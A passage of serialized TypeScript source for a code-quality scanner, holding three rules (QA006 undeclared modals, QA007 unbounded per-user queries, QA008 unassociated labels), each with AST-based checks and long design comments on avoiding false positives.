(hasOpenStateEarlyReturn(parent)) return true;\n }\n child = parent;\n parent = parents.get(parent);\n }\n return false;\n}\n\n/** The filename with its directories and extension stripped. */\nfunction baseNameWithoutExtension(path: string): string {\n const base = path.split(\"/\").pop() ?? path;\n return base.replace(/\\.[^.]+$/, \"\");\n}\n\nexport const undeclaredModal: QualityRule = {\n id: \"QA006\",\n title: \"A modal that is not announced as a dialog\",\n severity: \"medium\",\n category: \"Accessibility\",\n description:\n \"This full-screen overlay renders a panel with controls in it, but declares no dialog semantics: no role, no aria-modal, no Escape handler and no focus management. A screen reader announces nothing when it opens and keeps reading the page behind it, and a keyboard user has to tab through the covered page to reach the controls — or tabs straight past them into content they can see is obscured.\",\n fix: 'Put role=\"dialog\" and aria-modal=\"true\" on the panel, point aria-labelledby at its heading, move focus into it when it opens and restore focus when it closes, and close it on Escape. A dialog primitive (Radix, Headless UI) or one shared shell component gets all of that once instead of per modal.',\n precisionNotes:\n \"The fixed+inset-0 tokens must come from the element's OWN className, resolved through cn()/clsx/template literals and never from a string elsewhere in the file — that single clause separates this from a rule that flags this repo's correct LegalModal.tsx. Then: native lowercase or motion.* tags only; must render an element child and contain a focusable one; no role of any kind, no aria-modal and no dialog element anywhere in the subtree; no pointer-events-none, z-0, negative z or responsive hidden; must be gated on an open-ish condition or live in a *Modal/Dialog/Sheet/Drawer/Lightbox/Popup file; and the file must carry no Escape handling, no focus management and no dialog-primitive import. Capped at one finding per file and five per scan, because the worst corpus repo fires 82 times and volume is its own precision problem.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n for (const file of ctx.files) {\n if (hits.length >= MAX_HITS_PER_SCAN) break;\n // Tests, stories, fixtures, mocks and vendored code come from the\n // engine; examples/ and docs/ are this rule's addition (clause 11).\n if (file.excluded) continue;\n if (EXAMPLE_OR_DOC_PATH.test(file.path)) continue;\n\n // No AST, no rule. A regex fallback would answer clause 1 about a\n // character window instead of an attribute, which is the exact failure\n // this rule is built to avoid.\n const parsed = file.parsed;\n if (!parsed) continue;\n if (parsed.language !== \"jsx\" && parsed.language !== \"tsx\") continue;\n\n // ── Clauses 8, 9, 10: file-wide exonerations, checked once and before\n // any walking. Matched on the comment-masked source, so a comment\n // that merely mentions Escape cannot silence a real defect.\n if (DISMISSAL_SIGNAL.test(file.code)) continue;\n if (FOCUS_SIGNAL.test(file.code)) continue;\n if (DIALOG_PRIMITIVE.test(file.code)) continue;\n\n const program = parsed.ast.program as Node;\n const parents = buildParents(program);\n const baseName = baseNameWithoutExtension(file.path);\n\n const elements: JSXElement[] = [];\n walkNodes(program, (node) => {\n if (node.type === \"JSXElement\") elements.push(node);\n });\n\n for (const element of elements) {\n const opening = element.openingElement;\n\n // ── Clause 2: a component's semantics live in another file.\n if (!isNativeOverlayTag(opening.name)) continue;\n\n // ── Clause 1: the overlay tokens must be on THIS element.\n const tokens = ownClassTokens(opening);\n if (!OVERLAY_TOKENS.every((t) => hasClassToken(tokens, t))) continue;\n\n // ── Clause 6: and the layer must actually be a visible, on-top one.\n if (tokens.some(isSuppressingClassToken)) continue;\n\n // ── Clause 3: it renders a panel, not a click-catcher.\n if (opening.selfClosing) continue;\n if (!rendersElementChild(element)) continue;\n\n // ── Clause 4: there is something in it a keyboard must reach.\n if (!hasFocusableDescendant(element)) continue;\n\n // ── Clause 5: nobody has already declared semantics in here.\n if (declaresSemantics(element)) continue;\n\n // ── Clause 7: it is a thing that opens, not a thing that is the page.\n if (!isOpenGated(element, parents, baseName)) continue;\n\n const line = opening.loc?.start.line ?? lineAt(file.content, opening.start ?? 0);\n hits.push({ file: file.path, line });\n // Clause 12: one per file. A backdrop and its container both match,\n // and a list of modals in one file matches once per modal; reporting\n // each is twelve copies of the same sentence.\n break;\n }\n }\n return hits;\n },\n};\n","import type { CallExpression, Node, OptionalCallExpression } from \"@babel/types\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\nimport { isCalleeNamed } from \"../../ast/index.js\";\n\n/**\n * QA007 — a per-user query with no limit.\n *\n * `select * from messages where user_id = $1`, served to a page. It is instant\n * for the person who wrote it, because they have four rows. The customer who\n * actually uses the product has forty thousand, and the query, the JSON\n * payload and the render all grow with them until the page stops loading at\n * all. Nothing fails; it just gets slower for exactly the users worth keeping.\n *\n * THE RULE THAT SHIPPED IS NOT THE RULE THAT WAS PROPOSED. The original looked\n * at `.map(` in JSX and asked whether the list being rendered was bounded.\n * That half is gone entirely, and deleting it is the single biggest precision\n * decision here: nine of the thirteen adversarial false positives lived in it,\n * and the query-and-render split across files makes it undecidable for a\n * single-file rule anyway. What is left is a server-query rule with a\n * deliberately small firing surface.\n *\n * THIS IS AN AST RULE, NOT A REGEX RULE. Clauses 2, 3, 4 and 8 are questions\n * about ONE query — which table it reads, what its own WHERE says, what\n * happens to its own result. A character window answers them about whatever\n * happens to sit nearby, which in a data-access file is three other queries.\n * The table noun in particular has to come from the call's own argument, not\n * from \"a growth noun appears somewhere in this file\".\n *\n * Every clause below was bought with a false positive. Removing one brings its\n * class back:\n *\n * server file a client component listing its own props is not a query.\n * ORM/SQL read an in-memory `.filter()` over an array already in hand\n * has no row count to bound.\n * user-scoped an unscoped read is a different rule's business, and a\n * read with no WHERE at all is usually a config table.\n * no unique key `where id = $1` returns one row. This clause alone kills\n * the entire lookup-table class.\n * growth noun `apiKeys`, `teamMembers`, `paymentMethods`,\n * `integrations` are all user-scoped and all correctly read\n * whole — a user has six of them, forever. Only tables that\n * grow with USE, not with configuration, can be unbounded.\n * no bound token `limit`, `take`, `cursor`, `.range(`, `.slice(` anywhere\n * in the file. Blunt on purpose, in the style this repo\n * already uses for hasRateLimit / hasDepthLimit: a\n * paginated data layer that bounds in a helper two\n * functions away is bounded, and proving that properly is\n * cross-file work this contract forbids.\n * no time window `gte(createdAt, thirtyDaysAgo)` IS a bound. A date window\n * caps the row count just as effectively as a LIMIT, and\n * flagging it is telling a correct author to fix nothing.\n * path not a bulk an export, a CSV download, a sitemap, a backup or a cron\n * job is SUPPOSED to read everything. That is the feature.\n * not reduced `rows.length`, `.reduce(`, `.map(r => r.id)`, `count(`,\n * `Promise.all(` — the rows never reach a response, so the\n * payload does not grow even though the scan does. Worth\n * an index, not a finding.\n *\n * VOLUME DISCIPLINE. At most one finding per file and three per scan, which is\n * the same `.slice(0, 2)` / `.slice(0, 5)` treatment VC100 and VC103 already\n * apply. A data-access file has a dozen queries with the same shape; twelve\n * copies of one performance note reads as noise no matter how precise each one\n * is.\n *\n * ON SEVERITY. The narrowing's prose asks for `info`; its own heading, and the\n * catalogue contract, both say `medium`. Shipped at `medium` — the engine\n * stamps every hit `confidence: medium` regardless, and `info` findings are\n * not surfaced, which would make the rule indistinguishable from not shipping\n * it. Category is Performance, so it sits outside the security buckets that\n * move a grade.\n */\n\n/* ────────────────────────────── clause 1: server file ───────────────────── */\n\n/**\n * The server-file shapes `file.isServer` does not already cover.\n *\n * `file.isServer` is the shared gate and is used as the primary test — it\n * knows route.ts, middleware, `api/`, `server/`, `functions/`,\n * `edge-functions/`, `\"use server\"`, `Deno.serve` and exported HTTP verbs,\n * which is the spec's list plus the spelling the market actually uses. It does\n * NOT know the two path shapes the spec names that carry no HTTP surface of\n * their own: a Server Actions module, and a data-access layer under `lib/`.\n * Those are added here rather than re-implemented, per the engine's rule that\n * client/server detection lives in context.ts.\n */\nconst DATA_LAYER_PATH =\n /(?:^|\\/)actions\\.[jt]sx?$|(?:^|\\/)actions\\//i;\nconst LIB_DATA_PATH = /(?:^|\\/)lib\\/(?:db|queries|data)(?:\\/|\\.[jt]sx?$)/i;\n\n/**\n * Bulk-read paths, where reading everything is the point (clause 7).\n *\n * An export endpoint that paginated would be broken. So would a sitemap, an\n * RSS feed, a nightly backup or an admin console whose whole job is to show\n * the operator the unfiltered truth.\n */\nconst BULK_PATH =\n /(?:export|download|csv|pdf|print|sitemap|rss|feed|cron|backup|report|admin)/i;\n\n/* ─────────────────────── clause 3: who the WHERE is scoped to ───────────── */\n\n/**\n * A per-user or per-tenant column, in both spellings.\n *\n * One regex for six columns because `userId` and `user_id` are the same column\n * written by two different code generators, and a rule that knows only one of\n * them is silent on half the market.\n */\nconst USER_SCOPE = /\\b(?:user|org|team|workspace|account)_?id\\b/i;\n\n/**\n * Equality on a unique key — the query returns one row, or a handful.\n *\n * Spelled four ways because four ORMs spell it four ways, and missing any one\n * of them re-opens the config/lookup-table class the spec singles out as the\n * thing this clause kills outright.\n */\nconst UNIQUE_KEY_EQ: RegExp[] = [\n // drizzle: eq(scans.id, scanId) / eq(posts.slug, slug)\n /\\beq\\s*\\(\\s*[A-Za-z_$][\\w$]*\\s*\\.\\s*(?:id|slug)\\s*,/,\n // supabase: .eq(\"id\", id)\n /\\beq\\s*\\(\\s*[\"'`](?:id|slug)[\"'`]\\s*,/,\n // prisma: where: { id: … } and its shorthand `where: { userId, id }`.\n // Anchored to the where object, because `id:` in a `select:` projection is\n // naming a column to RETURN, not one to match on. The lookbehind is\n // load-bearing in the other direction: `where: { userId: session.user.id }`\n // is the single most common per-user query there is, and without it the\n // trailing `.id` reads as a unique-key match and silences the rule.\n /\\bwhere\\s*:\\s*\\{[^{}]*(?<![.\\w$])(?:id|slug)\\s*[,:}]/,\n // SQL: `id = $1`, `p.slug = ?`. The trailing [^=>] is load-bearing: without\n // it `.map(id => …)` reads as an equality and silences the rule.\n /\\b(?:[A-Za-z_$][\\w$]*\\s*\\.\\s*)?(?:id|slug)\\s*=[^=>]/i,\n];\n\n/* ─────────────────────── clause 4: tables that grow with use ────────────── */\n\n/**\n * The append-only growth list, as singular stems.\n *\n * Deliberately a closed list and NOT an open \"any table\" match. The difference\n * is the whole clause: `apiKeys`, `teamMembers`, `paymentMethods` and\n * `integrations` are all user-scoped and all correctly read whole, because\n * their row count is a property of the user's CONFIGURATION and stops growing.\n * These sixteen grow with usage and never stop.\n */\nconst GROWTH_NOUNS = new Set([\n \"event\",\n \"log\",\n \"message\",\n \"notification\",\n \"comment\",\n \"post\",\n \"order\",\n \"scan\",\n \"submission\",\n \"response\",\n \"activity\",\n \"view\",\n \"session\",\n \"history\",\n \"item\",\n \"entry\",\n]);\n\n/**\n * Crude singularisation — enough for table names, and no more.\n *\n * `activities → activity`, `entries → entry`, `logs → log`. Deliberately not a\n * general pluraliser: it only has to normalise the sixteen nouns above, and a\n * clever one that turns `statuses` into `statu` buys nothing here.\n */\nfunction singular(word: string): string {\n if (word.endsWith(\"ies\") && word.length > 3) return `${word.slice(0, -3)}y`;\n if (word.endsWith(\"ss\")) return word;\n if (word.endsWith(\"s\") && word.length > 1) return word.slice(0, -1);\n return word;\n}\n\n/**\n * The HEAD noun of a table name, normalised.\n *\n * `scan_events` → event. `userScans` → scan. `public.messages` → message.\n * `activityLog` → log.\n *\n * The head, not any token, and that choice is what keeps the clause closed:\n * matching any token would let `itemPrices` and `sessionSettings` through on\n * the strength of a modifier, which is exactly the open match the spec forbids.\n */\nfunction headNoun(table: string): string {\n const tokens = table\n .replace(/([a-z0-9])([A-Z])/g, \"$1 $2\")\n .replace(/[^A-Za-z0-9]+/g, \" \")\n .trim()\n .split(/\\s+/)\n .filter(Boolean);\n if (tokens.length === 0) return \"\";\n return singular(tokens[tokens.length - 1].toLowerCase());\n}\n\n/* ───────────────────── clauses 5 & 6: whole-file suppressors ───────────── */\n\n/**\n * Any sign the file knows how to bound a result set (clause 5).\n *\n * Whole-file, in the style the repo already uses for `hasRateLimit` and\n * `hasDepthLimit`. The alternative — asking whether THIS query is bounded —\n * accuses every data layer that takes `{ limit }` as a parameter and applies\n * it one function away, which is most of them.\n */\nconst BOUND_TOKEN =\n /\\b(?:limit|take|first|cursor|offset|paginate|page|per_?page)\\b|\\.\\s*(?:range|slice)\\s*\\(/i;\n\n/**\n * A time window (clause 6) — also whole-file.\n *\n * `gte(events.createdAt, since)` bounds the row count as surely as a LIMIT\n * does, and a rule that tells that author to add pagination is wrong. Scoped\n * to the file rather than the query for the same reason as clause 5: the\n * window is routinely computed above the query and passed in.\n */\nconst TIME_WINDOW =\n /\\bgte\\s*\\(|\\bbetween\\b|\\b(?:created_?at|updated_?at|timestamp)\\s*[><]|\\b(?:since|after)\\b/i;\n\n/* ───────────────── clause 8: the rows never reach a response ────────────── */\n\n/**\n * An aggregate or a fan-out inside the query statement itself.\n *\n * `db.select({ n: count() }).from(events)` returns one number however many\n * rows it counted; a query inside `Promise.all([...])` is one leg of a batch\n * whose result shape is decided elsewhere.\n */\nconst REDUCED_IN_PLACE = /\\bcount\\s*\\(|\\bPromise\\s*\\.\\s*all\\s*\\(/;\n\n/** `.length` or `.reduce(` immediately on the result. */\nconst REDUCING_MEMBER = /^\\s*\\.\\s*(?:length\\b|reduce\\s*\\()/;\n\n/** `.map(r => r.id)` — a projection to keys, not a payload. */\nconst ID_PROJECTION = /^\\s*\\.\\s*map\\s*\\(\\s*\\(?\\s*(\\w+)\\s*\\)?\\s*=>\\s*(\\w+)\\s*(?:\\.|\\[)/;\n\n/* ──────────────────────────────── AST plumbing ─────────────────────────── */\n\n/**\n * Statement types that make a tight, meaningful region around a query.\n *\n * The region is what clauses 3 and 8 are asked about, so it has to be the\n * query's own statement and not its enclosing block: a handler that reads\n * `messages where user_id` and, four lines later, `settings where id` would\n * otherwise have the second query's unique-key equality exonerate the first.\n * BlockStatement and the loop/branch statements are deliberately absent for\n * that reason — only the innermost simple statement counts.\n */\nconst STATEMENT_TYPES = new Set([\n \"ExpressionStatement\",\n \"VariableDeclaration\",\n \"ReturnStatement\",\n \"ThrowStatement\",\n]);\n\n/**\n * Walk every node, carrying the innermost enclosing simple statement.\n *\n * Hand-rolled rather than @babel/traverse, matching the engine's other AST\n * rule: traverse needs a scope, and the exported helpers in ../../ast/ hand\n * back a node without its ancestry, which is precisely what the region needs.\n * The statement is tracked on the way DOWN rather than recovered afterwards\n * from source offsets, because recovering it from text means brace-counting\n * through template literals full of SQL — the one file shape this rule is\n * guaranteed to meet.\n */\nfunction eachNodeWithStatement(\n root: Node,\n visit: (node: Node, statement: Node | null) => void,\n): void {\n const descend = (value: unknown, statement: Node | null): void => {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) descend(item, statement);\n return;\n }\n const record = value as Record<string, unknown>;\n let next = statement;\n if (typeof record.type === \"string\") {\n const node = value as Node;\n if (STATEMENT_TYPES.has(node.type)) next = node;\n visit(node, next);\n }\n for (const key of Object.keys(record)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n if (key === \"innerComments\" || key === \"extra\" || key === \"tokens\") continue;\n descend(record[key], next);\n }\n };\n descend(root, null);\n}\n\ntype AnyCall = CallExpression | OptionalCallExpression;\n\nfunction asCall(node: Node): AnyCall | null {\n if (node.type === \"CallExpression\" || node.type === \"OptionalCallExpression\") {\n return node;\n }\n return null;\n}\n\n/** The receiver of `x.y(...)`, or null when the callee is a bare identifier. */\nfunction calleeObject(call: AnyCall): Node | null {\n const callee = call.callee as Node;\n if (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") {\n return callee.object as Node;\n }\n return null;\n}\n\n/** The name a table argument carries: `scans`, `\"scans\"`, `schema.scans`. */\nfunction tableArgName(node: Node | undefined): string {\n if (!node) return \"\";\n if (node.type === \"Identifier\") return node.name;\n if (node.type === \"StringLiteral\") return node.value;\n if (node.type === \"MemberExpression\" && node.property.type === \"Identifier\") {\n return node.property.name;\n }\n return \"\";\n}\n\n/** `SELECT … FROM <table>` inside a string or template literal. */\nconst SQL_SELECT_FROM = /\\bselect\\b[\\s\\S]{0,600}?\\bfrom\\s+[\"'`[]?([A-Za-z_][\\w$]*)/i;\n\n/**\n * Which table this call reads, or null if it is not an ORM read (clause 2).\n *\n * Four dialects, because the corpus uses four. Drizzle and Supabase are told\n * apart by the ORDER of the chain — drizzle is `.select().from(t)`, Supabase\n * is `.from(\"t\").select()` — which is exact, where a regex for `from` and\n * `select` in the same window is not.\n */\nfunction ormReadTable(call: AnyCall): string | null {\n const callee = call.callee as Node;\n\n // drizzle: db.select(…).from(scans)\n if (isCalleeNamed(callee, \"from\")) {\n const receiver = calleeObject(call);\n const receiverCall = receiver ? asCall(receiver) : null;\n if (receiverCall && isCalleeNamed(receiverCall.callee as Node, \"select\")) {\n return tableArgName(call.arguments[0] as Node | undefined) || null;\n }\n return null;\n }\n\n // supabase: supabase.from(\"messages\").select(\"*\")\n if (isCalleeNamed(callee, \"select\")) {\n const receiver = calleeObject(call);\n const receiverCall = receiver ? asCall(receiver) : null;\n if (receiverCall && isCalleeNamed(receiverCall.callee as Node, \"from\")) {\n const arg = receiverCall.arguments[0] as Node | undefined;\n if (arg && arg.type === \"StringLiteral\") return arg.value;\n }\n return null;\n }\n\n // prisma: prisma.message.findMany(…) — and drizzle's relational\n // db.query.messages.findMany(…), which is the same shape.\n if (isCalleeNamed(callee, \"findMany\")) {\n const receiver = calleeObject(call);\n if (\n receiver &&\n (receiver.type === \"MemberExpression\" || receiver.type === \"OptionalMemberExpression\") &&\n receiver.property.type === \"Identifier\"\n ) {\n return receiver.property.name;\n }\n return null;\n }\n\n return null;\n}\n\n/** `SELECT … FROM t` written as a raw string or tagged template (clause 2). */\nfunction sqlReadTable(node: Node): string | null {\n let text = \"\";\n if (node.type === \"StringLiteral\") {\n text = node.value;\n } else if (node.type === \"TemplateLiteral\") {\n text = node.quasis.map((q) => q.value.cooked ?? q.value.raw).join(\" ? \");\n } else {\n return null;\n }\n const m = SQL_SELECT_FROM.exec(text);\n return m ? m[1] : null;\n}\n\n/**\n * The identifier the query result lands in, for the \"next use\" check.\n *\n * Handles the destructured Supabase shape (`const { data, error } = await …`)\n * as well as a plain binding, because on Supabase the plain binding never\n * happens — the rows always arrive as `data`.\n */\nfunction resultBinding(statement: Node | null): string | null {\n if (!statement || statement.type !== \"VariableDeclaration\") return null;\n const decl = statement.declarations[0];\n if (!decl) return null;\n if (decl.id.type === \"Identifier\") return decl.id.name;\n if (decl.id.type === \"ObjectPattern\") {\n for (const prop of decl.id.properties) {\n if (prop.type !== \"ObjectProperty\") continue;\n const key = prop.key.type === \"Identifier\" ? prop.key.name : \"\";\n if (key !== \"data\" && key !== \"rows\") continue;\n if (prop.value.type === \"Identifier\") return prop.value.name;\n }\n }\n return null;\n}\n\n/**\n * Is the FIRST mention of `name` after the query a reduction?\n *\n * The spec says \"the very next use\", and it means it: a later `.length` in a\n * logging line does not make the rows unrendered. So this looks at the first\n * reference only and stops.\n */\nfunction nextUseReduces(code: string, name: string, from: number): boolean {\n const re = new RegExp(`\\\\b${name.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$&\")}\\\\b`, \"g\");\n re.lastIndex = from;\n const m = re.exec(code);\n if (!m) return false;\n const tail = code.slice(m.index + m[0].length, m.index + m[0].length + 160);\n if (REDUCING_MEMBER.test(tail)) return true;\n const projection = ID_PROJECTION.exec(tail);\n return projection !== null && projection[1] === projection[2];\n}\n\n/* ──────────────────────────────────── rule ─────────────────────────────── */\n\n/** At most one per file, ~3 per scan — the spec's volume cap. */\nconst MAX_PER_SCAN = 3;\n\nexport const unboundedList: QualityRule = {\n id: \"QA007\",\n title: \"A per-user query with no limit\",\n severity: \"medium\",\n category: \"Performance\",\n description:\n \"This query reads every row a user or tenant owns from a table that only ever grows — messages, events, scans, orders — with no LIMIT, no cursor and no date window. It is fast for a new account and gets slower for every account worth keeping, until the page it feeds stops loading.\",\n fix: \"Add a bound the query itself enforces: a LIMIT with a cursor or offset for pages, or a date window for a feed. Bounding it in the caller does not help — the database still reads and ships every row.\",\n precisionNotes:\n \"Server files only; an ORM or SQL read, identified from the AST rather than a text window; the WHERE must be scoped to a user/tenant column AND carry no unique-key equality; the table's head noun must be on a closed append-only growth list, so configuration tables read whole are never flagged; no bound token (limit/take/cursor/offset/.range/.slice) and no time-window predicate anywhere in the file; bulk-read paths (export, csv, sitemap, cron, backup, admin) exempt; and suppressed when the rows are immediately reduced by .length/.reduce/count()/Promise.all or projected to ids. Capped at one finding per file and three per scan. The render-side half of the original rule — bounding `.map(` in JSX — was deleted outright, not narrowed.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (hits.length >= MAX_PER_SCAN) break;\n\n // Tests, stories, fixtures, mocks, vendored code, seeds, migrations and\n // scripts — clause 1's exclusion list is exactly `file.excluded`.\n if (file.excluded) continue;\n\n // ── Clause 1: a server file.\n const isDataLayer = DATA_LAYER_PATH.test(file.path) || LIB_DATA_PATH.test(file.path);\n if (!file.isServer && !isDataLayer) continue;\n // A file under a server path that is really a React client component\n // cannot be issuing this query at all; whatever it is doing, it is not\n // this defect.\n if (file.isClient) continue;\n\n // ── Clause 7: bulk-read paths are supposed to read everything.\n if (BULK_PATH.test(file.path)) continue;\n\n // ── Clauses 5 and 6: whole-file suppressors. Cheapest gates, and they\n // take most of the corpus out before anything is parsed.\n if (BOUND_TOKEN.test(file.code)) continue;\n if (TIME_WINDOW.test(file.code)) continue;\n\n // ── No AST, no rule. A regex fallback would answer clauses 2, 3, 4 and\n // 8 about a character window instead of a query, which is the whole\n // failure mode this rule is written to avoid.\n const parsed = file.parsed;\n if (!parsed) continue;\n\n let reported = false;\n\n eachNodeWithStatement(parsed.ast.program as Node, (node, statement) => {\n if (reported) return;\n\n // ── Clause 2: an ORM or SQL read, and the table it names.\n const call = asCall(node);\n const table = call ? ormReadTable(call) : sqlReadTable(node);\n if (!table) return;\n\n // ── Clause 4: the table must grow with use, not with configuration.\n if (!GROWTH_NOUNS.has(headNoun(table))) return;\n\n const start = statement?.start ?? node.start;\n const end = statement?.end ?? node.end;\n if (start == null || end == null) return;\n const region = file.code.slice(start, end);\n\n // ── Clause 3: scoped to a user/tenant column, and not to one row.\n if (!USER_SCOPE.test(region)) return;\n if (UNIQUE_KEY_EQ.some((re) => re.test(region))) return;\n\n // ── Clause 8: the rows never become a payload.\n if (REDUCED_IN_PLACE.test(region)) return;\n const afterQuery = file.code.slice(node.end ?? start, end);\n if (REDUCING_MEMBER.test(afterQuery)) return;\n const binding = resultBinding(statement);\n if (binding && nextUseReduces(file.code, binding, end)) return;\n\n const line = node.loc?.start.line ?? lineAt(file.content, node.start ?? 0);\n hits.push({ file: file.path, line });\n // One per file: a data-access module has a dozen queries of this exact\n // shape, and a dozen copies of one performance note is noise.\n reported = true;\n });\n }\n\n return hits.slice(0, MAX_PER_SCAN);\n },\n};\n","import type { JSXAttribute, JSXElement, JSXOpeningElement, Node } from \"@babel/types\";\nimport type { QualityContext, QualityHit, QualityRule } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA008 — a label that names nothing.\n *\n * `<label>Email</label><input type=\"email\" />` renders exactly like a labelled\n * field and is not one. The text is styled prose sitting next to an anonymous\n * box: clicking it does not focus the field, a screen reader announces \"edit\n * text, blank\", voice control has no name to say, and every autofill heuristic\n * that keys off the accessible name goes dark. Generators produce it\n * constantly because the visual result is identical and nothing in a preview\n * shows what was lost.\n *\n * THIS IS AN AST RULE, NOT A REGEX RULE. \"A `<label>` with no `htmlFor`\" has\n * to be answered about ONE tag, and the tag does not end where a regex thinks\n * it does: `<label className={cn(\"x\", y > 2 && \"z\")}>` closes at the third\n * `>`. Children, attributes and the following sibling are structure, so the\n * check reads structure.\n *\n * THE RULE DOES NOT TRY TO PROVE THE LABEL IS CORRECT. Whether some label\n * somewhere names this input is undecidable single-file — `aria-labelledby`\n * can point at an id generated three files away. So it proves the DEFECT\n * SHAPE instead: a text-only label with no association machinery of any kind,\n * sitting immediately before a bare native field. Everything ambiguous is\n * silence.\n *\n * Every clause was bought with a false positive. Removing one brings its class\n * back:\n *\n * .jsx/.tsx only `.vue`, `.svelte`, `.astro`, `.html`, `.php`, `.erb`\n * spell it `for=`, which is correct there and would read\n * as the defect here. Their labels are not JSX and this\n * rule cannot parse them anyway.\n * no htmlFor/for the association, spelled either way.\n * no id, ever `<label id=\"email-label\">` is the other half of\n * `aria-labelledby=\"email-label\"` on the field. The id\n * may be an expression (`id={labelId}`), so the presence\n * of the attribute is what counts, not its value.\n * no aria-* any aria attribute means somebody was thinking about\n * the accessibility tree; do not second-guess them.\n * no spread `{...getLabelProps()}` (downshift, react-aria,\n * Formik-style wrappers) injects htmlFor/id we cannot\n * see. One spread and the element is undecidable.\n * not self-closing `<label />` names nothing but is also not this defect.\n * text children only every slot spelling — `{children}`, `{props.children}`,\n * `{label}`, `{children(id)}` — renders content this file\n * cannot see, and that content routinely IS the input.\n * no nested control `<label>Email <input/></label>` is the OTHER valid\n * association: implicit wrapping. It needs no htmlFor.\n * no <Capital/> child `<label><Input/></label>`, `<label><Slot/></label>`:\n * the component renders who-knows-what, including a\n * wrapped input. Semantics live in another file.\n * a native field the payoff clause. Without it the rule fires on every\n * follows `<label>` used as a styling wrapper or a section\n * caption. Requiring a bare `<input|select|textarea>`\n * within a short window is what makes the finding\n * \"this text belongs to that box\" rather than a guess.\n * A capitalised `<Input/>` does NOT satisfy it — shadcn,\n * MUI and Chakra all thread an id through their own\n * FormControl, and that is the single largest FP class.\n * no label between if another `<label>` opens before the field, the field\n * is that one's problem, not this one's.\n * field not named `aria-label` / `aria-labelledby` on the input is a\n * complete accessible name already, and `type=\"hidden\"`\n * has nothing to name.\n * repo not linting a repo with eslint-plugin-jsx-a11y already runs\n * `label-has-associated-control`, which is the\n * AST-correct version of this check wired into the\n * author's editor. Telling them again, later, in a\n * security report, is noise by definition.\n *\n * Severity is `low` and the category is Accessibility on purpose: this is a\n * correctness defect for some of an app's users, not a security one, and it\n * must never be the reason a grade moves.\n */\n\n/** The fields a `<label>` is for. Native spellings only — see the doc above. */\nconst CONTROL_TAGS = new Set([\"input\", \"select\", \"textarea\"]);\n\n/**\n * Children that mean the label is already associated, or is a slot.\n *\n * `button` is here beside the three control tags because `<label><button>` is\n * a layout wrapper, not a caption, and nothing about it is this defect.\n */\nconst BANNED_CHILD_TAGS = new Set([\"input\", \"select\", \"textarea\", \"button\"]);\n\n/**\n * How far past `</label>` the field may sit and still be \"the box beside it\".\n *\n * ~200 characters of comment-masked source: enough for a wrapping `<div\n * className=\"...\">` and a line of whitespace, short enough that a field in the\n * next section of the form is not attributed to this label.\n */\nconst CONTROL_WINDOW = 200;\n\n/**\n * Paths this rule stays out of, on top of the engine's shared exclusions.\n *\n * `file.excluded` already covers tests, stories, fixtures, mocks, vendored\n * code and `.md`/`.mdx`. The spec adds docs and examples directories, which\n * are not the same thing: a `docs/` tree of `.tsx` is full of illustrative\n * form snippets written to show markup, not to be operated.\n */\nconst DOC_PATH = /(?:^|\\/)(?:docs?|examples?|demos?)\\//i;\n\n/**\n * \"This repo already lints for this.\"\n *\n * Deliberately matched against package.json only, and against the plugin's own\n * name rather than any config preset that might pull it in transitively:\n * `eslint-config-next` ships jsx-a11y but leaves\n * `label-has-associated-control` off, so treating it as coverage would silence\n * the rule on most of the target market for nothing.\n */\nconst A11Y_LINT = /eslint-plugin-jsx-a11y|jsx-a11y\\/label-has-associated-control/;\n\nfunction repoLintsA11y(ctx: QualityContext): boolean {\n for (const file of ctx.files) {\n if (!/(?:^|\\/)package\\.json$/.test(file.path)) continue;\n // `content`, not `code`: comment masking is for JS, and a `//` inside a\n // registry URL in package.json is not a comment.\n if (A11Y_LINT.test(file.content)) return true;\n }\n return false;\n}\n\n/**\n * Walk every node beneath `root`, structurally.\n *\n * Hand-rolled rather than @babel/traverse because traverse needs a scope and\n * cannot be pointed at a bare sub-node, and because the shared helpers in\n * ../../ast/ cover calls and binary expressions, not JSX. `loc` and the\n * comment arrays carry no nodes and are most of the object graph.\n */\nfunction walkNodes(value: unknown, visit: (node: Node) => void): void {\n if (!value || typeof value !== \"object\") return;\n if (Array.isArray(value)) {\n for (const item of value) walkNodes(item, visit);\n return;\n }\n const record = value as Record<string, unknown>;\n if (typeof record.type === \"string\") visit(value as Node);\n for (const key of Object.keys(record)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n if (key === \"innerComments\" || key === \"extra\" || key === \"tokens\") continue;\n walkNodes(record[key], visit);\n }\n}\n\n/** The terminal name of a tag: `div`, `motion.div` → div, `Dialog.Trigger` → Trigger. */\nfunction tagName(name: JSXOpeningElement[\"name\"]): string {\n if (name.type === \"JSXIdentifier\") return name.name;\n if (name.type === \"JSXMemberExpression\") return name.property.name;\n if (name.type === \"JSXNamespacedName\") return name.name.name;\n return \"\";\n}\n\n/** A plain lowercase host element — the only kind whose behaviour is decidable here. */\nfunction isNativeTag(name: JSXOpeningElement[\"name\"]): boolean {\n return name.type === \"JSXIdentifier\" && /^[a-z]/.test(name.name);\n}\n\nfunction attributeName(attr: JSXAttribute): string {\n return attr.name.type === \"JSXIdentifier\"\n ? attr.name.name\n : `${attr.name.namespace.name}:${attr.name.name.name}`;\n}\n\n/** The string value of an attribute, whether written bare or in braces. */\nfunction attributeString(attr: JSXAttribute): string | null {\n const value = attr.value;\n if (!value) return null;\n if (value.type === \"StringLiteral\") return value.value;\n if (value.type === \"JSXExpressionContainer\" && value.expression.type === \"StringLiteral\") {\n return value.expression.value;\n }\n return null;\n}\n\n/**\n * Does this `<label>` carry no association machinery at all?\n *\n * False for a spread, for `htmlFor`/`for`, for an `id` of any kind, and for\n * any `aria-*`. Each of those is either the association itself or evidence\n * that one exists somewhere this rule cannot see.\n */\nfunction isBareLabel(opening: JSXOpeningElement): boolean {\n for (const attr of opening.attributes) {\n if (attr.type === \"JSXSpreadAttribute\") return false;\n const name = attributeName(attr).toLowerCase();\n if (name === \"htmlfor\" || name === \"for\") return false;\n if (name === \"id\") return false;\n if (name.startsWith(\"aria-\")) return false;\n }\n return 